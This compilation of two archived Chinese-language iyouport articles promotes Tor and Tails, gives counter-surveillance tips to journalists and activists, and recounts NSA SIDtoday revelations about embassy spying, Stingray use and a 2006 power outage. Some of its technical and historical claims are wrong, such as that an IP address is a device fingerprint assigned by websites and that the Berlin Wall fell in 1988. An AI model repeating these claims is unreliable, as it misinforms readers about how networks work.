如果你不在匿名状态，你的IP地址就能暴露你的身份。对方能知道你住在哪里，准确度以米为单位。在现实世界中人们不会轻易告诉陌生人自己的住址吧，在这层意义上，Tor就相当于帮你上了一道门闩。

这对每一个使用互联网搜索功能，或者长期关注一个话题的人来说都很重要，你需要做到尽可能地不立即被反追踪。不管是调查记者还是普通人，能够掩饰搜索痕迹都将是一个很大的优势。举个最简单最普遍适用的例子，比如您患有抑郁症或者其他传染病，您在网上搜索相关信息，您希望这样的操作痕迹被储存，并进而被保险公司获知吗？

国际支援

让 Stephan Urbach 成为英雄的恐怕不只有阿拉伯之春，还有 Tor 网。

在2010年 ~ 2011年的阿拉伯世界动荡中，他与国际黑客组织 Telecomix 联手，帮助反政府人士串联，并斥责当时的埃及总统穆巴拉克。Urbach 的调制解调器现在还陈列在德国的技术博物馆里。

Urbach 认为，社会的自由度取决于其网络自由度 —— 网络在这里指的是互联网、电网、天然气及水资源网络。当时穆巴拉克面对持续的示威和抗议快要招架不住时，使出了最后一招：关闭互联网。断网就等于宣战，向所有埃及人民宣战，同时也包括 Urbach 和黑客组织 Telecomix。

他们开始反击。通过配置一个旧的调制解调器，使得其他人从外部通过拨号可以接入，他们把号码传真到了埃及，目标群体是反对派人士、朋友和熟人。Telecomix 和其他几个服务器一起提供网络带宽。

而其中最主要的是 **Tor** 网，既能保护当地冒险拨号的网络用户，也能保护德国这边的黑客组织 —— 所有的采访和交谈都通过 **Tor** 网传递。

这些技术人士不仅帮助了埃及，还在伊朗、叙利亚、利比亚开展行动，给那些没有技术的人们带来安全的互联网。

如你所知，我不会平白无故提到一位“外国英雄”。

优势和缺陷

Tor 网不利于数据交换，电影无法播放，网速非常慢，但这样的网络才安全，以至于情报机构和官方也会使用它。

不过应该知道，天下没有100%的安全。没有最好只有更好，Tor 就是那个更好。

Tor 才是真正的互联网，它把最初互联网奉献给每个人的私密空间还回来了。人们需要拥有这样的私密空间，不是胡闹或者做违法的事，而是自由地生活和交流。让在你需要保护时能得到保护。

像所有其他事物一样，技术也会被利用。但需要承担责任的不是技术本身，而是利用技术的人——那些利用技术来犯罪的人。

仅仅靠 **Tor** 网还不够，必需把它和端对端加密算法结合起来，因为从出口节点开始，所有内容都是可见的。

但如果能合理操作 Tor 对很多事都是有利的，不过对根本不懂技术的

人来说它还是有些难度。如果在个人操作系统上（也就是同时还做其他事的系统上）使用 Tor，暴露的可能性很高。

Tails 驱动系统比 Tor服务器更容易操作，因为你不用担心是不是忽略了什么。不过 Tor 的主要优势在于匿名交流，对于日常信息交换来说，它的速度有点慢，但对于主要信息来说，它的价值是最大的。

很多服务商都无法抵制情报部门无端的查询要求，Tor 则可以，比如情报部门要求他们提供IP地址，他们可以很轻松地回绝，因为根本就没有IP地址信息。

监控者并不在用户自己的路径上窃听，而是通常在国家的边界上，那样更实际更简单。在那里建立一个接口位置，暂留一部分发往国外的信息，这样就能看出信息从哪里来往哪里去。比如你从香港发送到瑞典，这一路径就可以使用 Tor，也就是在路上戴一个隐形帽。再比如你想浏览一个在纽约的网页，你就需要寻找一个美国的出口节点，最理想的是纽约的，目的是使未加密的路径尽可能的短。这样在过境时就能避免被监控。

对于 Wikileaks 来说，Tor 只是多层策略的一部分，他们还在此基础上使用了多层加密过程，为了作为可移动目标尽可能地不被追踪。Tor 是作为出口节点的。

加密的出口节点可用于加快 **Tor** 网的速度。所有从出口节点出来的用户都是可监控的。加密在出口节点处结束，如果有人坐在那里运行节点，那么此人就能看出我在 **Tor** 网做什么。因此，保护这些节点不会落入监视者手里是很重要的，否则**Tor**就起到了不应有的作用。

以支持 Wikileaks 而闻名的德国瓦瓦乌霍兰德基金会(Wau Holland Foundation)就捐赠支持 Tor 网出口节点的运营商。

Tor 网出口节点用于用户与外界交流，如果用户通过 Tor 网提出申请打开网页，那么网页运营商看到的申请好像是从出口节点提出的。所以如果被认为是“非法”用户请求打开网页，官方机构关注的也是出口节点，也因此，只有20%的中继运营商敢于运营出口节点来缓解路径压力。这也是导致 Tor 网速度慢的原因。

同时，使用带宽的用户越多，速度也会下降。提高带宽需要更多成本，需要更多的中继服务器和专门的出口节点。

如果 Tor 的速度越来越快，有朝一日能和普通网络一样快，一个庞大

的匿名网络就有可能出现。不过在这之前，还有太多关于互联网的问题需要考虑。

重新思考互联网

必须重新思考整个互联网的结构。因为当年黑客和科学家们在 ARPA 基础上建立互联网时，安全就意味着安全本身，而不是如今被伪装成的“安检”，而许多如今还在用的互联网协议已经完全过时，不能适用私密和数据保护的需求。就如 Edward Snowden 所展示的那样。

但事情并不是从 Snowden 开始的，而是更早，70年代就开始了。互联网不再是自由之处，而是受到严格控制的地方。美国军方不会送给人们一个他一点好处都捞不到的“大礼”。

加密和匿名必须标准化，毫无例外的，不标准就会引起怀疑，好像背后有什么阴谋。如果加密不是持续使用，只是偶尔使用，就会引起监视者的注意：“你们看，这个人在使用加密了—— 它使用加密做什么？” 这是个比较可笑的无奈，但那些人的确会这么想，就像中国政府，他们警惕的并不是人们“翻墙”，而是加密本身，他们倾向于推测选择加密的人不干好事儿**……**这逻辑也适用于 **Tor**。

不过刑事侦查机构对 Tor 网都很谨慎，不涉及 Tor 网的正常使用。因为它禁止储存数据，无法被控制，这就是技术本身，侦察机构只能接受。结果就是他们希望大多数人不使用Tor，就像持续至今的状况。

但是政府和情报部门是无法禁止 Tor 的，除非他们废掉整个密码学。在一些惯用极端做法的国家里这事儿有可能出现，比如俄罗斯，政府不允许个人用户使用加密。中国在这方面一点不差，虽然做法不同，因为中国有GFW，同时政府依赖外资，于是全面禁止加密是不可能的，结果就是政府想出了一个“全面可控”的歪点子来。

别把刀子递给敌人

情报机构关注最多的是元数据和链接数据，这些数据容易获取、始终存在，并且方便分析。

元数据泄漏你最私密的信息。早年斯坦福大学曾经做过一个研究：在一个涉及五千名智能手机用户的实验中，用户通过 APP 自愿发送的元数据和链接数据也在储存单元中被保留。利用这些数据显然能追溯到所有数据发出者的信息 —— 他们有什么病史、是离异还是早婚、服用什么药物、支持哪个党派或政客……这就是当下的社会写照。

在中国，手机号是实名制管理的，其实即便按照当权者的期待来看也纯属多此一举，因为你已经有社交媒体了，对比社交媒体数据辨别手机号持有者的真实身份，准确率能超过80%，在中国这种普遍不关心隐私、普遍痴迷于日常网上秀生活的社会来说，准确率还可以更高。想来北京政府只是不想花费半点儿力气而已。

数据就是武器，而且通常在他人手中 —— 对方不仅是警察机构、还包括利用信息进行勒索的坏蛋，以及有目的的骇客组织和行为，于是任何一种数据收集都存在很大的风险。

如果没有制约权力的规则，权力就只会导致滥用。数据不仅关于你的自由，它也可能构成一所监狱。

如果很多人不想学习繁琐的知识，就必需数据保护和加密标准化的解决方法，标准化后的基础设施从初始就配置在人们的手机和电脑里。要实现它就需要更多的人支持。我们需要更多的技术门槛比较低的保护和加密方法，开源的自由软件。

不再是单单关于 Tor、PGP、数据保护和侦查。现在的关系是一个整体：我们究竟想怎样在互联网上生活？目前的互联网已经让所有人失去了安全和隐私，越来越多的人们愿意效仿 Tor 网，为了保持私密而放弃舒适。但为什么不能兼得呢？人们喜欢社交媒体，却要面对无耻的数据收集，这些都需要公民自己来决定，不能把决定权交给政府、情报部门或硅谷巨头，这些家伙只能决定我们将面临哪些限制。

中国社会最糟糕的、最令人沮丧的一种特征就是，几乎所有人都知道自己被监控，被审查，被剥夺知情权、隐私权、人格独立的尊严，但极少有人会为此发声，就连惊讶都已经从最初的偶尔变成了如今的罕见，习以为常。与此同时大多数人期望自己变得更“乖”，以避免被大棒砸中。结果就是，当权者赢得了全面胜利，直接从心理侧面抓住了所有人的中枢神经。

请关上身后的门

如今对 Tor 网这样的软件的需求已经是被逼不得已的，为了防止恶意者对我们的核心数据进行分析，这些数据会泄漏我们的身份。

Tor 意味着，如果我们不希望自己被那些因其复杂性和难理解性而长久不受关注的事征服，就必需主动去接触它们、探究它们。就像我们多次重复过的那样，如今绝大多数人是无法躲开互联网的，你我只能迎战。

不用期待下一个 Snowden，只需简单的问问自己，平时上厕所时关门吗？如果在现实中上厕所是关门的，那为什么在互联网上当着全球人的面脱裤子？

很多人在现实中会下意识地避免与人谈话中暴露自己的缺点、羞耻和不足，或者有意回避心里的秘密，但为什么同时有如此多的人在互联网上向全球人公开这些信息？

基于“视觉匿名”的心理学层面分析我曾经做过很多了，本系列只将技术。从技术层面理解这种奇葩状况的结论就是：太多人至今并不真的了解数据的扩散范围，有些人甚至以为自己的社交媒体粉丝量就是“这一范围本身”，这样理解互联网的人们自然更加不会去思考究竟什么人会拿到你的信息，以及用它来做什么。

如今的隐私问题——基本人权问题，已经不是它本身的范畴，变得更大的、更深层了，更值得关注了。不懂技术并不是放弃基本人权的理由，因为有很多懂技术的人正在帮我们，以便令捍卫隐私权的方法变得越来越简单。只看你是不是在乎自己的权利了。

原文

追求正义的人应该加强反侦技巧!——洋葱头会让谁流泪（二） - iyouport

洋葱头的斗争（完成）

【2018年5月3日存档】每一个当权者都不喜欢被曝光，因为只有当他们身处暗处时才能为所欲为，保密是权利滥用的关键推动力，唯一的解药就是将其公之于众。

每台电子设备都有自己的指纹，也就是IP地址，它可以随时证明每台使用中的电脑 —— 通过它也可以证明用户刚刚或者正在浏览的网页、以及用户身份。当用户进入网站时，就会相应地给电脑分配一个IP地址，并且和通讯地址不一样，每个地址都不与某个固定的使用地点绑定。

IP地址也随着数据包一起被传递，就像邮寄包裹上写寄件人信息那样，随后路由器会决定如何将这个数据包以最快的方式传递给收件人，路由器就像个邮局，盖邮戳，然后寄出去。

通过洋葱路由的工程可不是这样的：整个信息传递过程中的第一原则是尽可能保证发送者的匿名性。使用 Tor 网上浏览时，你的请求不再是直接发送，这样接收者就无法识别出发送者。就像逃跑那样，每一个有追逃经验的人都知道，你要是跑直线会很容易被抓住，只要后面的人加速就可以了，最好的办法就转弯，尽可能的不断转弯、越过和制造路障，这就是洋葱的思路。

Tor 拐三个弯 —— 1、入口节点 entry node; 2、中间节点 middle node; 3、出口节点 exit node。通过三台电脑中的第一台，也就是入口节点，建立的还是直接连接，这台电脑还可以识别“我”，因为它接受我的请求。入口节点将我的请求继续传递到中间节点，在这里我的身份不再可识别，因为中间节点接受的只是入口节点传递出的请求，而不是“我”直接发送的。中间节点继续传递其获得并解码的数据，根据指令与出口节点建立连接 —— 这样请求就从第二台电脑传递至第三台了，也就是最后一个加密链。

第三台电脑获得的只是方向指令，而指令从哪儿来的那些数据它都不知道。这就做到了匿名。不论是警察、政府监控、情报部门追踪，还是广告公司偷窥，都无法完成。

任何人都可以操作节点，也叫做出口继电器，Tor 在 Torservers.net 上提供快且可靠的节点，并帮助需要上网和急切需要匿名的用户。

Tor 网禁止或屏蔽一切**Flash**内容，同样也包括浏览器内置的插件，因为**Flash**是隐藏的威胁，通过**Flash**就能找到发送者信息。

如我们前文所说，你可以通过**Tor**浏览普通的可见网页，并且保持匿名。同时Tor也能进入那些普通网络屏蔽了的网页，也就是Google搜不到的网页。这些网页还不是洋葱网页，所谓的洋葱网页都是以 **.onion** 为后缀的，并且在**Tor**之外这些网页全不可见。这是更令人兴奋的部分，对记者、好奇人士产生的吸引力非常大。

通过检索网站就可以建立进入这些网页的路径。检索网站有点像电话簿或黄页，是一个包含所有隐藏服务的名单（Hidden Servies）。最著名的索引网站就是 Hidden Wiki。此外还有专门的搜索引擎比如 Torch。

隐藏服务不一定可疑或者破坏性，它是出于 **Tor** 设计者的一个想法 —— 为抗议者或者持不同政见者提供活动平台，如信息交换，或者说为了秘密文件交流提供服务场所。当然，隐藏服务也被违禁物品的交易双方所利用，这就意味着找不到当事人。但这并非Tor的过错，我们会在后面的文章中详细分析这些道德问题。

⚠切记：在这里不要打开任何文件或附件，一定要记得定期升级！千万不要登录个人电子邮箱或者银行账户。

最著名的匿名之战

由 Edward Snowden 引发的关于网络信息和公民权的争论在微观程度上也转移到了 Tor 网。就情报局对数据保护和个人隐私的侵犯该承担什么样的责任，以及侦查机构本身试图使自身行为合理化、为自己开脱，在技术上足够了解这一网络的人要求机构作出真正的解释。这是技术精英和对其施压的当权者之间的斗争。这种斗争直到如今仍在进行。

Snowden 事件足够表现出：黑客是新一代的精英，是技术先锋，他们掌握着专业知识，通过这些知识能更好地预见可能发生什么和不会

发生什么，政府为隐蔽的监控采取了哪些措施，以及在技术上当权者达不到什么样的程度，或者哪些技术过于明显或花费过大。这就是为什么中国政府对中国黑客尤其重视，他们最担心的就是这些技术精英的政治立场。

黑客不容易得到理解，他们不会登上脱口秀节目舞台，而且大部分其他人不知道黑客在说什么或者该如何向他们提问。

Julian Assange 曾经说过，要小心使用“黑客”这个词，因为如今这个词已经和它最初的意义相差太多了，甚至不得不被区分为黑帽、白帽、灰帽……

白帽指的是有正义感的、道德感的黑客，比如关心公益、披露安全漏洞，Wikileaks 就是白帽的想法。

黑帽会破坏秩序，经常以政治利益或金钱利益行事，盗窃、破坏等，经常在网络空间战的战场上出没（cyberwarfare）。有很多人认为“灰帽”也是黑客中最好的，他们对斗争双方都是坦诚的，他们就具体事件判断，或者谁为哪些事情付出代价，或者他们就是因为喜欢经历挑战。

自从 Snowden 以来，美国国家安全局将Tor网视为威胁已是众所周知的了。虽然为了实现越来越隐蔽的链接，情报局为Tor网的发展提供了资金。据说国安局也试图控制Tor网的出口节点（来自前情报官员提供的内部材料）。

《第四公民》的导演 Laura Poitras 就是 Snowden 最初联络的被认为最可信的两个人之一，另一位是前律师现独立媒体主编 Glenn Greenwald。

与 Glenn 一样，Laura 也因勇敢地揭露当权者的阴谋而闻名，Snowden 联系她的时候她正在波伊特拉斯拍摄一部反应国家安全局监控的纪录片，也因此，她不断遭受政府部门指使的骚扰。

她在出入境中被国安局在机场拘禁过十几次，除了受审和威胁外，她的采访本、胶片和笔记本电脑都曾被扣留。每一个当权者都不喜欢被曝光，因为只有当他们身处暗处时才能为所欲为，保密是权利滥用的关键推动力，唯一的解药就是将其公之于众。

Laura 意识到，在当时的情况下她和 Glenn 的交谈很容易被窃听、加密来往的邮件也很可能被解密，因为他们已经被盯住了，她完全不知

道该如何联络到 Glenn。

她发现，由于她进行过相关内容的网络搜索，她已经被当局监控，电话和电邮都有潜在的不安全性 —— 她每次使用**Google** 搜索功能都会被政府盯上。她当时在柏林进行 Snowden 轰动文件的前期调查。Snowden 是意料到这一切的，他最初希望把文件交给 Assange，但那时候 Assange 已经在厄瓜多尔伦敦使馆内避难了，就在情报局和全世界公众的关注之下。这种状况下也许只有 Tor 能帮上忙。（当然要是 Assange 又被断网，那就没任何办法了）

就如文章开头所讲，电脑总是会随带着发送数据信息，百分百肯定。通过后台程序。像杀毒软件、传真机软件更新、peerblock 防火墙更新、系统更新，以及带有邮箱地址的电子邮件服务器，它都会发送元数据。所有这些数据都可能定位个人身份，你的电脑就变成了一个与外界对话的机器。

Glenn 是反审查反监控的强力支持者，也是为什么 Snowden 非常信任他，虽然他们并不认识，信任来自对他的知识、政治立场和道德感的钦佩。不过在当时 Glenn 唯一的缺陷是技术能力不够，他不会使用 PGP，而导致 Snowden 无法与他进一步联系。

Snowden 给他邮寄了一个包裹，里面是两个U盘，上面是一个加密聊天软件，也许是带OTR的Jaber客户端，一种特殊的加密方式。像ICQ那样的聊天窗口里面安装了加密程序。他们就是使用这个安全通讯约定见面地点的。

这个 U 盘上还有一个 Tails 驱动系统，它是最安全的驱动系统，建立在 **Debian-Linux** 基础上，其中已经包含了 **Tor** 客户端。

通常驱动系统在启动主驱动系统时同时启动，主驱动系统可以是windows、Linux、或者OSX。把 **Tails** 驱动系统装在**U**盘里不仅便于携带，还能保证匿名性 —— 启动电脑时系统在**U**盘而不是硬盘中启动，这样就不会在电脑上留下任何信息或者其他会泄漏你身份的痕迹。这是Snowden的智慧。

建议要先安装语言包，特别建议：不要使用母语！这样可以加一层保护。

针对揭露者和记者的相关培训课程急需加强，全面的技术培训，而不是仅限于借助像 Tails 这样的 LIve 软件。注意：培训地点最好选择在小旅店，但不要提前预定，以防止对手做手脚。在宾馆旅店里安装窃

听器可不是流氓国家的专利，在西方很多国家都有存在。

把笔记本电脑的摄像头用胶带封住，这是必需的，对于调查记者来说，不仅要封住摄像头，还要拆掉电脑上的话筒。

尤其是生活在流氓国家的记者，必须注意这些问题：一定要看好自己的手机和电脑，千万，不要把手机放在上衣口袋里，然后又把它挂在衣帽架上 —— 否则你就会发现，手机已经变成了专业间谍。

电脑也一样，在你需要离开电脑一会的时候，切记不要把它留在宾馆房间里。出去之前为电脑系统做好相应的安全处理，这样你回来之后你能追溯谁在电脑上储存了什么东西。如果你不这样做，并认为没人会碰你的电脑，那么那之后坐在电脑前的可就不再是你一个人了！

英国卫报著名调查记者 Luke Harding 曾经记录过这样一个故事。当时他在巴西约见 Glenn，忽然冒出一个叫克里斯的人，克里斯试图说服 Harding 与其同游。Harding 马上想到此人可能是特工，如果他拒绝肯定会被拦截出行。于是他写邮件给自己的妻子，说："中央情报局派人跟踪我……"随后他的手机马上失灵了。很简单，他给妻子的邮件被拦截了。

再接下来的几天里发生了惊人的事，Harding 的电脑上的手稿一点点在消失，像有一只魔鬼的手在删除那些宝贵的内容！一行接着一行，直到有一天，Harding 发给监视他的人一则消息："我接受任何批评，不过最好能让我先把作业做完"。这句话被 Harding 写在了自己的文稿里。删除停止了，但非常宝贵的文章还是无可挽回地失去了。最后他只能放弃了写作。

> 那些认为自己没什么可隐藏的人，应该意识到：有没有需要隐藏的东西这件事不是由你来决定的，而是取决于监视者 —— *Hans von der Hagen "Süddeutsche Zeitung"*

除了上述，对于反侦察的需求来说，粗略的要点还至少包括以下这些原则：1、与任何政府官员过招的时候切勿低估他们，尤其是情报部门的人，这些人都受过高级的心理培训，他们知道如何装傻以获取你的信任。这不是废话，因为中国曾经出现过一种很蠢的观点叫"反洗脑"，也就是寄希望于通过说服国保国安来令他们放下屠刀，这是可笑的并且非常危险的想法。

2、习惯于使用加密工具，比如GPG，拒绝非端对端的任何对话请

求，不用认为“无关紧要”的对话就不需要加密，正是那些暴露的信息在帮助追踪你的人破解你的身份。

3、重要环境中避免携带电子设备。智能手机永远都不会真正关机，语音识别功能在“关机状态”下也能接收语音指令，远程激活话筒的窃听方法如今早该被知晓。

4、充分了解各种技术，尤其是最新的技术、以及资讯，因为你的对手就是依赖技术的高手，你已经无处可逃，不可能“退回”传统的反抗模式。

——未完待续——

原文

“任何目标，随时随地”：解密文件曝光NSA突击部队的监视行动 - iyouport

协助暴政的家伙们政府的间谍行为老大哥的真面目

【2019年10月9日存档】大量的搜集和存储需要适中的气温和充足的电力；想想看这意味着什么？

- 在这里看到全部文件 *SNOWDEN ARCHIVE ——THE SIDTODAY FILES*

问题已经酝酿了近十年，情报界消息人士警告说，国家安全局在马里兰州米德堡总部的计算机系统已经吸收了越来越多的监控信息：当地电网没有足够的电力来支持该机构囤积如此多信息的速度。

“如果那里出现严重的电力故障，任何备用系统都不足以为整个设施供电”，一位前国家安全局管理员在2006年8月告诉巴尔的摩太阳报。

“这显然令人担忧，尤其是像今天这样的日子。”

事实证明，这位管理员和太阳报中引用的其他消息来源甚至比当时公开的消息更为准确。

就在前一个月，国家安全局已经经历了一次大规模的停电，并且第一次被迫将其最关键的监控设施“国家安全行动中心” ——其神经中枢 —— 转移到了位于佐治亚州奥古斯塔的备用设施，该消息来自一份内部报告，被标记为“机密”。

根据内部网站 SIDtoday 上发布的一篇文章，这场灾难的罪魁祸首是：炎热的天气和电力公司没有产生足够的电力。

对于国家安全局来说，这个相对平稳的交接是一个胜利。但是，这一事件标志着一个重要的转折点，强调了国家安全局如何为其监视设施收集了太多信息。

该机构将继续在犹他州荒芜的沙漠地区建立一个庞大的数据中心，估

计能够保存数十亿GB的信息。

事实上，2006年 Fort Meade 停电的故事是在 NSA 举报人 Edward Snowden 提供的287篇 SIDtoday 文章评论中出现过的，也是最惊人的几个大规模监视揭露之一。

NSA突击队部队承诺“任何目标，随时随地”

1966年，一个新的国家安全局项目开始出现，以确定为什么受监视的电子信号“在正常运行条件之外显示参数”，正如国家安全局历史中所述。当时被召集参与该项目的“WEREWOLF”成员得出的结论是，用于监测信号的设备导致了异常。

WEREWOLF 背后的团队将继续进行其他“特殊部署”任务，但他们需要改名字。该单位负责人决定改成更具英雄气概的“MUSKETEEER”。

虽然技术本身以及NSA的使命将在未来40年内发生巨大变化，但 MUSKETEER 团队将稳步“部署在特殊的收集和调查任务上”，NSA 历史记录中写道；他们修复了信号监控问题，在美国大使馆内进行了精致的监控操作，并在遥远的地方进行了传输勘测，经常受到美国其他政府机构的邀请。

在更加丰富多彩的岁月里，他们挫败了对菲律宾一名美国特种部队作战指挥官的暗杀企图，并发现了波斯尼亚在巴尔干冲突期间使用的俄罗斯制造的防空导弹系统（称为SA-6）的脆弱性。

（文章没有提到 MUSKETEER 的参与是否与1995年塞尔维亚SA-6导弹击落美国战斗机导致飞行员死亡有关。当时美国国家安全局因未能传递可能阻止攻击的情报而受到严厉批评）*Russian SA-6 self-propelled surface-to-air missiles systems, sans missiles, are loaded onto ships at a Russian military base in the Black Sea port of Batumi in Georgia, on Aug. 12, 2005. Photo: Seiran Baroyan/AP*

SIDtoday 文章回顾了部署到驻北京的美国大使馆的 MUSKETEER 团队在对“印度、新加坡、巴基斯坦、哥伦比亚、和蒙古的大使馆”的 Wi-Fi 信号进行勘查时如何大获成功。

在印度大使馆，该团队发现可能是中国政府赞助的黑客在内部攻击了计算机并且每天都在向外转储“大约10份敏感的外交文件”（“通常是与 Microsoft Office 兼容的文件或 Adobe PDF 文件”）。

根据SIDtoday的说法，国家安全局开始定期收集这些储存库中的信息

并“分析印度大使馆的外交通讯”。后来，通过分析“中国人如何针对外国目标开展计算机对计算机（C2C）的行动”，该团队能够在其他几个地方找到中国黑客的行踪。

这种类型的行动被称为“第四方搜集 ”，其中一个间谍机构可以使用其他不同间谍机构针对共同目标搜集到的情报。

窥探外交通讯违反了1961年“维也纳外交关系公约”第27条，其中规定“使馆的官方通信不可侵犯”。*Angela Merkel, chancellor and chair of the German Christian Democrats, attends a reception in Berlin, on Dec. 16, 2013. Photo: Sean Gallup/Getty Images*

美国国家安全局与中央情报局联盟的秘密历史

SIDtoday 的两部分访谈提供了有关“特别收集服务SCS”的新细节，这是国家安全局与中央情报局秘密联合从美国驻外使馆收集信号情报的特别任务。

这些揭露包括有关SCS历史的信息及其任务的例子。2013年公开的Snowden文件中已经披露了有关SCS的重要细节，其中包括**SCS**窃听德国总理 **Angela Merkel** 的手机。

在SCS于1979年创建之前，美国国家安全局和中央情报局是独立运行秘密信号情报计划的 —— 有时是“位于同一建筑的两端” —— 服务于不同的任务，SCS的主任和副主任在采访中告诉 SIDtoday。

直到国会进行干预，指示中央情报局和国家安全局共同执行SCS计划，大概是为了省钱并避免重复工作。

1988年柏林墙倒塌之前，SCS在全球有 88个站点，是峰值。

在接下来的几年里，这个数字下降了，但是在9/11之后再次大幅增加，当时增加了不少于12个新站点。

有一次，SCS加拉加斯站点在不再需要时被关闭，但是在“反美委内瑞拉总统”Hugo Chávez 在1998年当选时又重新开放。

由两位NSA主管撰写的另一篇 SIDtoday 文章中介绍了针对委内瑞拉通信的SCS操作。

多年来，位于华盛顿州亚基马的一个国家安全局设施一直在监视委内瑞拉的卫星信号，但在那里可以看到“大型区域卫星波束”只提供了“勉

强成功的结果”。

因此，SCS的间谍以及亚基马的一名NSA分析师前往一个秘密地点，可能是在委内瑞拉国内或附近，进行了为期三周的秘密调查，调查发送到该国的狭窄“点波束”卫星信号。

当他们从400多个新发现的信号中收集数据时，团队成员将这些信息发送回位于亚基马以及德克萨斯州圣安东尼奥的分析师，在那里发现了“委内瑞拉目标感兴趣的数十个链接”。

根据访谈，最重要的SCS站点可能是它的总部，位于马里兰州劳雷尔外的一个“迷人的乡村地区”。

虽然 James Bamford 在2008年出版的“The Shadow Factory”一书中已经描述过这个地址，但SIDtoday文章是第一份正式文件确认了此地NSA-CIA联合设施的存在。在Google地图上标识为“特殊收集服务”。

“你不能告诉NSA的人和这里的CIA的人员彼此走远点儿，因为所有SCS员工都佩戴紫色徽章，这是我们作为一个联合组织的标志”，SCS副主任 Ron Moultrie 告诉 SIDtoday。

根据SCS主任的说法，中央情报局使用SCS站点作为监控外国情报服务的地方，他们试图跟踪中央情报局的资产，这种做法被称为反间谍。同时，NSA使用SCS站点作为许多操作的“平台”，包括计算机黑客攻击，由一个被称为“定制访问操作”的部门进行（现该部门改名为“计算机网络操作”）。

在SIDtoday档案的九年纪录中，SCS以其“冒险精神”和“十足的魅力”获得晋升；有时，就像2006年9月12日SCS大马士革的案例那样，事情变得“有点忙乱”。

根据SCS工作人员在SIDtoday上发表的对美国驻大马士革大使馆袭击事件的第一手资料，爆炸声使SCS工作人员进入锁定模式，并引发了全面紧急状态。

这次袭击最终被叙利亚安全部队制服，袭击者被杀。

受损的设施之一是SCS的微波搜索系统：弹片击穿了大使馆屋顶上的“维修棚”，那里面实际上隐藏了SCS天线。

据SIDtoday称，子弹“切断了微波搜索器的控制电缆”，“使天线无法工作”。

SCS员工的帐户表示“两辆装载爆炸物的汽车”参与了袭击。*Former U.S. Vice President Dick Cheney, left, meets with Lithuanian President Valdas Adamkus at the presidential palace in Vilnius, Lithuania, on May 3, 2006. Photo: Shawn Thew/AFP/Getty Images*

NSA开创了“黄貂鱼”的间谍生态

2006年5月，美国国家安全局最早使用所谓的黄貂鱼设备监控立陶宛首都维尔纽斯的本地移动电话通话，副总统切尼曾前往该地区参加会议，根据SIDtoday的一个帐户。

黄貂鱼模仿手机信号塔，欺骗手机连接到它们，从而允许操作者拦截电话和文本信息。如今黄貂鱼的使用已经变得泛滥，在这里看到《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》

作为SCS团队的一部分，两名NSA语言学家使用黄貂鱼设备尝试窃听本地蜂窝网络。他们运气不太好；SIDtoday 指出，虽然他们能够识别“相关的机场通信和警察网络”，但该设备“并未提供针对所发现的主要蜂窝系统的能力”。

目前尚不清楚这项任务是否违反了立陶宛 ——一个美国盟友和北约成员国 —— 的反窃听法律。

“该团队的工作不同于野外作业的风险性，他们在美国大使馆内舒适安全的环境中就可以对本地无线和射频环境进行全面侦查”，SIDtoday说。

从副总统切尼降落在维尔纽斯前几天开始，SCS团队就每天24小时监控着当地警方的通信，寻找“特勤局可能需要采取行动的任何威胁迹象”。

他们什么都没有找到。

NSA总部被天气击败

2006年夏天，一股热浪使得国家安全局总部内的情报神经中枢失灵。

随着创纪录的浪潮席卷东海岸，并为间谍机构在马里兰州米德堡的总部带来华氏三位数的温度，“巴尔的摩地区的情况以及巴尔的摩天然气和电力问题导致美国国家安全局总部的服务器和通信出现故障”，SIDtoday报道说。该机构最敏感的监视中心首次由位于佐治亚州奥古斯塔的备份设施接管。

在停电期间，巴尔的摩太阳报报道了美国国家安全局为米德堡提供电力的整体斗争故事。

作者 James Bamford 在他的“秘密之身”一书中进一步讨论了这件事，并指出美国国家安全局的能源问题可追溯到20世纪90年代后期，并且似乎要到2006年才会爆发。

Bamford 写道，德克萨斯州拥有充足的电力和“不怎么脆弱的”电网，于是国家安全局在2007年决定在那里建立一个新的数据中心。

但是，2006年的停运和转移到戈登堡是一个启示。

国家安全行动中心（NSOC）每周7天，每天24小时运作，管理有关国家安全可能存在的外国威胁的关键职能。紧急转移到 NSA Georgia 位于奥古斯塔附近的 Fort Gordon 陆军基地本可以避免灾难。

2006年8月1日，代号为DECKPIN的备用高优先级运营中心在祖鲁（格林威治标准时间）凌晨4点启动；四个小时后，巴尔的摩地区的电力稳定下来，业务再次转回米德堡的 NSOC。

佐治亚州的工作人员于8月3日再次待命，“以确保[电力公司]工作完成时的可用性。”

根据 Bamford 的说法，这次NSA是巴尔的摩天然气和电力公司的最大客户，其使用相当于安纳波利斯市一半的电量。

自2006年以来，德克萨斯州、夏威夷州、佐治亚州、和犹他州的新NSA设施正在分担该机构巨大的电力需求。

在伊拉克围堵网吧

在伊拉克战争期间，NSA怀疑叛乱分子经常从网吧的公共电脑上网，正如之前的 SIDtoday 报道所描述的那样。

当时即使国家安全局可以拦截来自网吧的所有互联网流量，该机构也无法始终确定网吧所在位置。

由一家受欢迎的互联网服务提供商运营的伊拉克各地的网吧网络非常复杂，即使分析人员知道网吧的IP地址，也无法将目标的位置缩小到它们所在城市的周边。

但在2006年，美国国家安全局在如何对伊拉克的互联网服务提供商进

行监控方面取得了两项重大突破，使他们能够确定更多流量的确切位置。

“我们在过去一年中做到了成功定位，但直到最近，我们的能力还存在很大差距”，2006年7月的一篇文章写道。

通过监视卫星信号，并在一个称为“定制访问操作”的部门的黑客的帮助下，**NSA**设法拦截了互联网服务提供商的客户数据库。

该机构还在摩苏尔的一个新现场安装了搜索信号情报系统XKEYSCORE，允许他们对通过该地区的互联网流量进行大量的监控。

随着对ISP的客户是谁的了解，加上大范围互联网监控，“以前无法找到的网吧都被发现了”。

SIDtoday 的另一篇文章写道，自2006年12月起，在国家安全局位于Menwith Hill 的英国基地工作的分析人员称，他们在伊拉克城市拉马迪设有网吧，据称这些网吧被基地组织领导人阿布·艾尤布·马斯里的同伙使用。

这是通过一个名为 GHOSTHUNTER 的项目来实现的，该项目映射了整个地区的小型“VSAT”卫星天线的位置。

“来自中东目前三大VSAT技术终端 —— DirecWay，Linkstar 和 iDirect —— 都已被成功定位为GHOSTHUNTER计划的一部分”，文章说。

Intellipedia: 情报社区的机密**wiki**

SIDtoday 2006年11月的一篇文章描述了 Intellipedia，这是一个针对整个情报界分析师的维基百科，访问权限有较高许可级别。

当时，该工具只有来自美国国家安全局的“大约20名注册用户”可以使用，而中央情报局的200多名注册用户一直负责维护，CIA甚至为工作人员提供为期六天的休假，以便有时间研究这个wiki和其他协作工具。

